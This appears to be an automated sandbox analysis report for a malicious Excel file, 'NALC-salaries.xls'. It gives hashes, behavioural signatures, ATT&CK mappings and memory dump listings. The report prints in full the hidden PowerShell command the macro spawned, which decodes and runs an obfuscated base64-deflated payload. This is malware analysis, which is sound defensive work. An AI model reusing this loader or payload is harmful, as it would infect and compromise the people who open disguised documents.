cafeb5969425e4392f7c0df31a1f66a254e5654dd9a8143e6c28b8fbf0535a7a

Resubmissions

18/04/2024, 22:33

240418-2gjk3sgg32 10

18/04/2024, 22:29

240418-2eqxdahf7s 10

Analysis

max time kernel
144s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240412-uk
resource tags

arch:x64arch:x86image:win10v2004-20240412-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
18/04/2024, 22:29

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Report Analysis Logs

General

Target

NALC-salaries.xls
Size

43KB
MD5

8c64f107dd064147dd04ee265eef47c3
SHA1

22ffb010c8a41c9dabb0927bf432fb25bd78d323
SHA256

cafeb5969425e4392f7c0df31a1f66a254e5654dd9a8143e6c28b8fbf0535a7a
SHA512

7122c4e25d372313bff688cacfd5301ea4d02b064ffa7f282e502f9e20c4125232b77ea8786664075e8c327668bd4230b32ca8c40de01d822542ea840e57bf4d
SSDEEP

768:mzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy3:+k3hOdsylKlgryzc4bNhZFGzE+cL2kn4

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1600	1556	powershell.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	1600	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1556	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE
1556	EXCEL.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1556 wrote to memory of 1600	1556	EXCEL.EXE	89
PID 1556 wrote to memory of 1600	1556	EXCEL.EXE	89
PID 1556 wrote to memory of 1600	1556	EXCEL.EXE	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\NALC-salaries.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
  C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhggnvch.bm3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1556-12-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-14-0x00007FF9B2A90000-0x00007FF9B2AA0000-memory.dmp

Filesize
64KB

Download
memory/1556-2-0x00007FF9B53F0000-0x00007FF9B5400000-memory.dmp

Filesize
64KB

Download
memory/1556-4-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-5-0x00007FF9B53F0000-0x00007FF9B5400000-memory.dmp

Filesize
64KB

Download
memory/1556-6-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-7-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-8-0x00007FF9B53F0000-0x00007FF9B5400000-memory.dmp

Filesize
64KB

Download
memory/1556-9-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-10-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-0-0x00007FF9B53F0000-0x00007FF9B5400000-memory.dmp

Filesize
64KB

Download
memory/1556-13-0x00007FF9B2A90000-0x00007FF9B2AA0000-memory.dmp

Filesize
64KB

Download
memory/1556-11-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-37-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-15-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-36-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-17-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-18-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-20-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-19-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-21-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-22-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-3-0x00007FF9B53F0000-0x00007FF9B5400000-memory.dmp

Filesize
64KB

Download
memory/1556-33-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-16-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-72-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-71-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-70-0x0000022366760000-0x0000022366F60000-memory.dmp

Filesize
8.0MB

Download
memory/1556-69-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-68-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-65-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1556-1-0x00007FF9F5370000-0x00007FF9F5565000-memory.dmp

Filesize
2.0MB

Download
memory/1600-39-0x0000000074EA0000-0x0000000075650000-memory.dmp

Filesize
7.7MB

Download
memory/1600-54-0x0000000006000000-0x0000000006354000-memory.dmp

Filesize
3.3MB

Download
memory/1600-55-0x00000000065D0000-0x00000000065EE000-memory.dmp

Filesize
120KB

Download
memory/1600-56-0x0000000006610000-0x000000000665C000-memory.dmp

Filesize
304KB

Download
memory/1600-57-0x0000000007F20000-0x000000000859A000-memory.dmp

Filesize
6.5MB

Download
memory/1600-43-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Filesize
408KB

Download
memory/1600-58-0x0000000006B10000-0x0000000006B2A000-memory.dmp

Filesize
104KB

Download
memory/1600-44-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download
memory/1600-42-0x0000000005610000-0x0000000005632000-memory.dmp

Filesize
136KB

Download
memory/1600-41-0x0000000005650000-0x0000000005C78000-memory.dmp

Filesize
6.2MB

Download
memory/1600-40-0x0000000004FD0000-0x0000000004FE0000-memory.dmp

Filesize
64KB

Download
memory/1600-61-0x0000000074EA0000-0x0000000075650000-memory.dmp

Filesize
7.7MB

Download
memory/1600-38-0x0000000004FE0000-0x0000000005016000-memory.dmp

Filesize
216KB

Download